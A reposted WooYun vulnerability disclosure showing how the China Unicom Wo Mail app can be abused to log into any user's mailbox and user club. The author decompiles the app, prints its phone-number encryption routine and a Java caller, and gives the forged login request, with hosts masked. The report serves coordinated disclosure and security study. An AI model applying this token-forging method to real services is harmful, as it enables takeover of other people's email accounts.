中国联通沃邮箱app设计缺陷导致控制任意联通用户邮箱及用户俱乐部/附分析过程

admin 2017年5月7日02:37:41评论668 views字数 8238阅读27分27秒阅读模式
摘要

2016-03-14: 细节已通知厂商并且等待厂商处理中
2016-03-18: 厂商已经确认,细节仅向厂商公开
2016-03-28: 细节向核心白帽子及相关领域专家公开
2016-04-07: 细节向普通白帽子公开
2016-04-17: 细节向实习白帽子公开
2016-05-02: 细节向公众公开

漏洞概要 关注数(169) 关注此漏洞

缺陷编号: WooYun-2016-184359

漏洞标题: 中国联通沃邮箱app设计缺陷导致控制任意联通用户邮箱及用户俱乐部/附分析过程

相关厂商: 中国联通

漏洞作者: BMa中国联通沃邮箱app设计缺陷导致控制任意联通用户邮箱及用户俱乐部/附分析过程

提交时间: 2016-03-14 10:27

公开时间: 2016-05-02 15:46

漏洞类型: 设计缺陷/逻辑错误

危害等级: 高

自评Rank: 15

漏洞状态: 已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 无

35人收藏

漏洞详情

披露状态:

2016-03-14: 细节已通知厂商并且等待厂商处理中
2016-03-18: 厂商已经确认,细节仅向厂商公开
2016-03-28: 细节向核心白帽子及相关领域专家公开
2016-04-07: 细节向普通白帽子公开
2016-04-17: 细节向实习白帽子公开
2016-05-02: 细节向公众公开

简要描述:

中国联通沃邮箱app设计缺陷导致控制任意联通用户邮箱及用户俱乐部/附分析过程

详细说明:

联通沃邮箱:

中国联通沃邮箱app设计缺陷导致控制任意联通用户邮箱及用户俱乐部/附分析过程

由于联通出现过多次问题,明显更加重视安全,所以测试常规的点后都没问题,把目光转向其他地方

,最下面的发现功能:此处需要联合登录,并且在此页面可以重新载入邮箱功能

中国联通沃邮箱app设计缺陷导致控制任意联通用户邮箱及用户俱乐部/附分析过程

果然,抓到了如下请求:

code 区域
GET /appFound/redirect.do?mdn=B7568B90AE4A8DBF05835CB0F1DB4F77FD650AF8F9B91B72C5423AA6B78AC90DC096F9545EC659BD3662892B51FABEE145B0B9F7B9D7A22E074C4AF92F9A6B67&actionType=club_index HTTP/1.1
 Host: **.**.**.**:7102
 Accept: application/json, text/javascript, */*; q=0.01
 X-Requested-With: XMLHttpRequest
 User-Agent: Mozilla/5.0 (Linux; Android 5.1.1; A0001 Build/LMY47V; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/43.0.2357.121 Mobile Safari/537.36
 Referer: 
 Accept-Encoding: gzip, deflate
 Accept-Language: zh-CN,en-US;q=0.8
 Cookie: 
 Connection: close

 

中国联通沃邮箱app设计缺陷导致控制任意联通用户邮箱及用户俱乐部/附分析过程

 

code 区域
{
     "resultCode": 0,
     "url": "http://**.**.**.**/port/login.shtml?param={/"phoneNum/" : /"465C4CD8BA559F65CA6FCBFB6618B7E3ED7FC547A559EEF9B3C8AF9BFF7697203C6DF7B4BD803C2B13760692C676ED7794BB79A076D31609D3396659A2768670/",/"channelId/" : /"F98CA05AAE2943443FE29CFCCA2B39048E5E764A5272623D375D617FD3E92CD39C92DBB740441DFE531719C64BCBA1BA5610A9E3D497F98C746D8AF9174C0A73/",/"backUrl/" : /"http://**.**.**.**/wap/recommend/index.html/"}",
     "demo": null
 }

访问如上url,即可登录账号:

中国联通沃邮箱app设计缺陷导致控制任意联通用户邮箱及用户俱乐部/附分析过程

因此把目标放在了这个请求上:

code 区域
**.**.**.**:7102/appFound/redirect.do?mdn=B7568B90AE4A8DBF05835CB0F1DB4F77FD650AF8F9B91B72C5423AA6B78AC90DC096F9545EC659BD3662892B51FABEE145B0B9F7B9D7A22E074C4AF92F9A6B67&actionType=club_index

推测这里的mdn为手机号码,在抓到的其他url中,也能看到mdn的值被当作phoneNum的值

然后是验证:

访问其他功能,得到了一个接口可以解析该字符串,但是只能解析纯数字,所有其他请求中的参数没办法解析,全是乱码

code 区域
http://**.**.**.**:7102/appFound/loadTask.do?platform=android&phoneNum=B7568B90AE4A8DBF05835CB0F1DB4F77FD650AF8F9B91B72C5423AA6B78AC90DC096F9545EC659BD3662892B51FABEE145B0B9F7B9D7A22E074C4AF92F9A6B67

 

中国联通沃邮箱app设计缺陷导致控制任意联通用户邮箱及用户俱乐部/附分析过程

验证正确,证明该加密串就是手机号码

说明此处存在一处越权,只要用户手机号码就可以生成登录用的链接

问题来了:该手机号码被加密了,尝试直接使用手机号码失败

整理一下思路:

1、反编译apk,找加密算法

2、使用xposed+改号软件

反编译apk:

找到调用的代码:

afv.class

code 区域
void a(String paramString)
   {
     this.P = paramString;
     this.Q = (WoMailApplication.f().getInt("leaveFlow", 0) + "");
     tc.d("", "mmm...发现界面传值 phoneNum=" + this.P + "  leftFlow=" + this.Q);
     if ((!TextUtils.isEmpty(this.P)) && (!this.P.equals("")) && (!this.P.startsWith("20")))
     {
       this.C += sx.a("scoreyijie", this.P);
       this.P = sx.a("scoreyijie", this.P);
       this.Q = sx.a("scoreyijie", this.Q);
       this.z = ("http://**.**.**.**:7102/appFound/appFound.do?phoneNum=" + this.P + "&leftFlow=" + this.Q + "&platform=" + "android");
       this.y = this.z;
       aih.a(true, "mainUrl = " + this.y);
       aih.a(true, "firstStart = " + this.u);

sx.class

code 区域
import java.util.Random;
 
 public class sx
 {
   private static int[] a = { 18, 46, 52, 22, 39, 0, 58, 54, 23, 37, 38, 25, 42, 36, 62, 30, 41, 14, 7, 50, 8, 9, 51, 59, 21, 15, 34, 45, 56, 3, 55, 28, 49, 32, 35, 20, 24, 53, 33, 40, 11, 17, 26, 31, 48, 5, 43, 29, 44, 12, 1, 19, 4, 13, 16, 27, 57, 47, 2, 6, 63, 10, 61, 60 };
   private static int[] b = { 5, 50, 58, 29, 52, 45, 59, 18, 20, 21, 61, 40, 49, 53, 17, 25, 54, 41, 0, 51, 35, 24, 3, 8, 36, 11, 42, 55, 31, 47, 15, 43, 33, 38, 26, 34, 13, 9, 10, 4, 39, 16, 12, 46, 48, 27, 1, 57, 44, 32, 19, 22, 2, 37, 7, 30, 28, 56, 6, 23, 63, 62, 14, 60 };
   private static byte[] c = { 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 65, 66, 67, 68, 69, 70 };
   
   private static String a()
   {
     return "=01=";
   }
   
   public static String a(String paramString)
   {
     return sz.a((a() + paramString + b()).getBytes());
   }
   
   public static String a(String paramString1, String paramString2)
   {
     int j = 0;
     byte[] arrayOfByte = new byte[64];
     new Random(System.currentTimeMillis()).nextBytes(arrayOfByte);
     paramString2 = paramString2.getBytes();
     int i = 0;
     while ((i < paramString2.length) && (i < 64))
     {
       arrayOfByte[i] = paramString2[i];
       i += 1;
     }
     if (paramString2.length < 64) {
       arrayOfByte[paramString2.length] = 0;
     }
     paramString1 = paramString1.getBytes();
     i = j;
     while (i < arrayOfByte.length)
     {
       arrayOfByte[i] = ((byte)(arrayOfByte[i] + paramString1[(i % paramString1.length)]));
       i += 1;
     }
     return a(a(arrayOfByte, a));
   }
   
   private static String a(byte[] paramArrayOfByte)
   {
     if ((paramArrayOfByte == null) || (paramArrayOfByte.length == 0)) {
       return "";
     }
     byte[] arrayOfByte = new byte[paramArrayOfByte.length * 2];
     int i = 0;
     while (i < paramArrayOfByte.length)
     {
       arrayOfByte[(i * 2 + 0)] = c[(paramArrayOfByte[i] & 0xF)];
       arrayOfByte[(i * 2 + 1)] = c[((paramArrayOfByte[i] & 0xF0) >> 4)];
       i += 1;
     }
     return new String(arrayOfByte);
   }
   
   private static byte[] a(byte[] paramArrayOfByte, int[] paramArrayOfInt)
   {
     byte[] arrayOfByte = new byte[paramArrayOfByte.length];
     int i = 0;
     while (i < arrayOfByte.length)
     {
       arrayOfByte[i] = paramArrayOfByte[paramArrayOfInt[i]];
       i += 1;
     }
     return arrayOfByte;
   }
   
   private static String b()
   {
     return "ailk_unicom.mail";
   }
   
   public static String b(String paramString1, String paramString2)
   {
     paramString2 = a(b(paramString2), b);
     paramString1 = paramString1.getBytes();
     int i = 0;
     while (i < paramString2.length)
     {
       paramString2[i] = ((byte)(paramString2[i] - paramString1[(i % paramString1.length)]));
       i += 1;
     }
     i = 0;
     for (;;)
     {
       int j;
       if (i >= 64) {
         j = 64;
       }
       do
       {
         return new String(paramString2, 0, j);
         j = i;
       } while (paramString2[i] == 0);
       i += 1;
     }
   }
   
   private static byte[] b(String paramString)
   {
     if ((paramString == null) || (paramString.length() != 128)) {
       throw new IllegalArgumentException();
     }
     byte[] arrayOfByte = new byte[64];
     int j = 0;
     if (j < 64)
     {
       int k = paramString.charAt(j * 2 + 0);
       int m = paramString.charAt(j * 2 + 1);
       if ((k >= 48) && (k <= 57))
       {
         k = (byte)(k - 48 + 0);
         label77:
         if ((m < 48) || (m > 57)) {
           break label149;
         }
       }
       for (int i = (byte)(k + (m - 48) * 16);; i = (byte)(k + (m - 65 + 10) * 16))
       {
         arrayOfByte[j] = i;
         j += 1;
         break;
         if ((k >= 65) && (k <= 70))
         {
           k = (byte)(k - 65 + 10 + 0);
           break label77;
         }
         throw new IllegalArgumentException();
         label149:
         if ((m < 65) || (m > 70)) {
           break label181;
         }
       }
       label181:
       throw new IllegalArgumentException();
     }
     return arrayOfByte;
   }
 }

然后写代码调用该加密函数:

code 区域
public class LianTong {
 
  public static void main(String args []){
  String liantong = sx.a("scoreyijie", "18566666666");
  System.out.println(liantong);
  }
 }

搞定,得到手机号码对应的加密串:

中国联通沃邮箱app设计缺陷导致控制任意联通用户邮箱及用户俱乐部/附分析过程

拿去验证一下:

中国联通沃邮箱app设计缺陷导致控制任意联通用户邮箱及用户俱乐部/附分析过程

得到加密串了,就可以用来获取该手机号码的登录请求:

中国联通沃邮箱app设计缺陷导致控制任意联通用户邮箱及用户俱乐部/附分析过程

浏览器中打开请求即可:

code 区域
http://**.**.**.**/port/login.shtml?param={"phoneNum" : "9F4C8C1E9A55F92A0A52FDB7431D73CF629CE5C1C5798000C28A23DC0096610546FE7F0999657127136D448CF296137F79A8798C968AF674F77266790496DEDD","channelId" : "437CE09F8E29AD097ED5CEB8A720F4EF037BAFC4709B0443461FE4B0E3E9F5B8A624530C2C2952FA120E57B077AED6B23B0DA9CFD44EDAF798A68A67784552D0","backUrl" : "http://**.**.**.**/wap/recommend/index.html"}

 

中国联通沃邮箱app设计缺陷导致控制任意联通用户邮箱及用户俱乐部/附分析过程

 

中国联通沃邮箱app设计缺陷导致控制任意联通用户邮箱及用户俱乐部/附分析过程

点击发邮件旁边的空白处,跳转沃邮箱:

中国联通沃邮箱app设计缺陷导致控制任意联通用户邮箱及用户俱乐部/附分析过程

 

中国联通沃邮箱app设计缺陷导致控制任意联通用户邮箱及用户俱乐部/附分析过程

给我自己发封邮件:

中国联通沃邮箱app设计缺陷导致控制任意联通用户邮箱及用户俱乐部/附分析过程

 

中国联通沃邮箱app设计缺陷导致控制任意联通用户邮箱及用户俱乐部/附分析过程

 

漏洞证明:

还有用户俱乐部的所有功能都会受到影响

中国联通沃邮箱app设计缺陷导致控制任意联通用户邮箱及用户俱乐部/附分析过程

修复方案:

版权声明:转载请注明来源 BMa@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:9

确认时间:2016-03-18 15:46

厂商回复:

CNVD未复现所述情况,已经转由CNCERT向中国联合网络通信集团有限公司通报,由其后续协调网站管理部门处置.

最新状态:

暂无


 

漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

 

登陆后才能进行评分


评价

  1. 2016-03-14 08:13 | 安全小飞侠 ( 实习白帽子 | Rank:82 漏洞数:16 | 安全小飞侠就是我,我就是安全小飞侠!)

    1

    前排围观

  2. 2016-03-14 10:28 | 沦沦 ( 普通白帽子 | Rank:651 漏洞数:149 | 爱老婆,爱生活|脚步不能停要一直向前走【...)

    1

    安全大飞侠

  3. 2016-03-14 10:36 | 泳少 ( 普通白帽子 | Rank:257 漏洞数:84 | ★ 梦想这条路踏上了,跪着也要...)

    1

    前排围观~!

  4. 2016-03-14 10:36 | j14n ( 普通白帽子 | Rank:2226 漏洞数:401 )

    1

    4楼

  5. 2016-03-14 10:38 | 安全小飞侠 ( 实习白帽子 | Rank:82 漏洞数:16 | 安全小飞侠就是我,我就是安全小飞侠!)

    1

    @沦沦 窘了个窘,哈哈

  6. 2016-03-14 10:41 | 小川 中国联通沃邮箱app设计缺陷导致控制任意联通用户邮箱及用户俱乐部/附分析过程 ( 核心白帽子 | Rank:1627 漏洞数:242 | 一个致力要将乌云变成搞笑论坛的男人)

    1

  7. 2016-03-14 10:52 | 高小厨 中国联通沃邮箱app设计缺陷导致控制任意联通用户邮箱及用户俱乐部/附分析过程 ( 普通白帽子 | Rank:998 漏洞数:91 | 不会吹牛的小二不是好厨子!)

    1

    雷雷

  8. 2016-03-14 10:54 | loli 中国联通沃邮箱app设计缺陷导致控制任意联通用户邮箱及用户俱乐部/附分析过程 ( 普通白帽子 | Rank:649 漏洞数:59 | 每个男人心中都住着一个叫小红的88号技师。)

    1

    又来了。。。

  9. 2016-03-14 10:59 | 围剿 ( 路人 | Rank:17 漏洞数:5 | Evil decimal)

    1

    打雷啦 下雨了,起来收衣服了

  10. 2016-03-14 11:14 | sauce ( 普通白帽子 | Rank:285 漏洞数:46 | 面向人民币编程)

    1

    围观

  11. 2016-03-14 11:59 | 狗狗侠 中国联通沃邮箱app设计缺陷导致控制任意联通用户邮箱及用户俱乐部/附分析过程 ( 普通白帽子 | Rank:518 漏洞数:58 | 我是狗狗侠)

    1

    打雷啦 下雨了,起来收衣服了

  12. 2016-03-14 13:17 | Coody 中国联通沃邮箱app设计缺陷导致控制任意联通用户邮箱及用户俱乐部/附分析过程 ( 核心白帽子 | Rank:1809 漏洞数:214 | 不接单、不黑产;如遇冒名顶替接单收徒、绝...)

    2

    干的漂亮

  13. 2016-03-14 13:30 | M4sk ( 普通白帽子 | Rank:1218 漏洞数:323 | 啥都不会....)

    1

    6666

  14. 2016-03-14 14:10 | 87技术联盟-Jack ( 路人 | Rank:12 漏洞数:6 | 来自于浩瀚网络中的小白!)

    1

    打雷啦 下雨了,起来收衣服了

  15. 2016-03-14 15:03 | 毛泽车 ( 实习白帽子 | Rank:43 漏洞数:17 | 同志们,安全,是要全国人民一起努力的,奋...)

    2

    强势围观,好同志

  16. 2016-03-14 16:01 | 孤零落叶寒 ( 普通白帽子 | Rank:196 漏洞数:28 | 今天的跌倒是是为了明天更好的站着)

    1

    82分+6 6 6

  17. 2016-03-14 16:46 | silencea ( 路人 | Rank:23 漏洞数:5 | 混迹互联网的小白)

    1

    围观!

  18. 2016-03-14 17:23 | von ( 路人 | Rank:18 漏洞数:8 | 一个帅字贯穿了我的一生~)

    1

    后排吃瓜看洞~

  19. 2016-03-14 17:35 | Vinc ( 普通白帽子 | Rank:383 漏洞数:58 | 提莫队长正在待命!)

    1

    .

  20. 2016-03-14 19:13 | 凌零1 ( 普通白帽子 | Rank:320 漏洞数:57 )

    1

    你有条大屌

  21. 2016-03-14 22:26 | 来打我呀 ( 路人 | Rank:2 漏洞数:1 | 欢脱跳跃的小鲜肉~)

    1

    打雷啦下雨啦,ccav看这里啦

  22. 2016-03-14 22:32 | thewind ( 普通白帽子 | Rank:149 漏洞数:37 | 古道无仙···)

    1

    666666

  23. 2016-03-14 23:03 | 黑吃黑 ( 普通白帽子 | Rank:165 漏洞数:32 | 不是因为看到了希望才去努力,而是努力了才...)

    1

    联通都被鲁穿多少次了,真是受不了这运营商的尿性

  24. 2016-03-14 23:39 | 秋风 ( 普通白帽子 | Rank:438 漏洞数:44 | 码农一枚,关注互联网安全)

    1

    NB!

  25. 2016-03-16 09:59 | dotma ( 路人 | Rank:2 漏洞数:1 | 小白,小白,小白,重要事情说三遍)

    1

    强势插入。。。

  26. 2016-04-27 09:57 | Forever80s ( 普通白帽子 | Rank:1295 漏洞数:172 )

    0

    膜都捅破了

  27. 2016-04-27 14:47 | 0hey_boy0 ( 普通白帽子 | Rank:132 漏洞数:23 | balabala~)

    0

    细心决定成败,表哥厉害

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2017年5月7日02:37:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   中国联通沃邮箱app设计缺陷导致控制任意联通用户邮箱及用户俱乐部/附分析过程https://cn-sec.com/archives/44361.html

发表评论

匿名网友 填写信息